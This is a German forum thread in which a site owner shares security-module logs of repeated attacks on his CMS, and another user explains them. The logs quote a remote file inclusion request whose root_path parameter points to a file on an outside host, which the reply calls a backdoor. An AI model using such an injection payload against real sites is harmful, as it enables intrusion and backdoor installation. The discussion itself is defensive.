Forum

Hallo,

ich bekomme seit einiger Zeit wieder vermehrt Angriffe auf meine Seite gemeldet.
Dabei ist mir folgendes aufgefallen, es fängt immer so an:
- Falscher Scriptaufruf.

Ausgelöst von der IP Adresse: 173.224.217.126 um 19.06.2011 23:54:00
Die URI die den Fehler ausgelöst hat war:
/is/htdocs/wp1117543_OLHEHTAC3U/www//system/article/alltopics.php//master.php?root_path=test??
REQUEST_URI=/system/article/alltopics.php//master.php?root_path=test??

User information
UNAME:Gast
UID:1

Und danach geht es dann so oder ähnlich weiter:
- [EVA-OUTPUT]This CMS is safe, you should better believe ...

Ausgelöst von der IP Adresse: 173.224.217.126 um 19.06.2011 23:54:03
Die URI die den Fehler ausgelöst hat war:
/is/htdocs/wp1117543_OLHEHTAC3U/www//system/article/alltopics.php//master.php?root_path=http://74.86.162.32//accounts/inc/tmp/crime.jpg??
REQUEST_URI=/system/article/alltopics.php//master.php?root_path=http://74.86.162.32//accounts/inc/tmp/crime.jpg??

User information
UNAME:Gast
UID:1

Müsste das EVA-Modul nicht schon denn ersten Aufruf als Fehler/Einbruch melden??

Arthur

Kann man etwas drüber diskutieren. Das erste ist zwar "vermutlich" ein Test ob der Zugriff möglich ist, allerdings ist das nicht zwingend so.

Bei dem Zweiten ist das eindeutig. Das File das dort eingeschleust werden soll ist bzw war ne "Backdoor".

Siehst du das anderes?

Hi Stefan,

das EVA den zweiten "Angriff" abgehalten hat, finde ich gut und auch richtig.
Darüber braucht man gar nicht zu diskutieren.

Es hat mich nur gewundert das der "erste" Test durchgeht.
Diese Art des Test und danach so ungefähr 10-30 Angriffe habe ich in letzter Zeit jeden 2-3 Tag.

Das nervt einfach nur noch.


Danke für die schnelle Antwort,
Arthur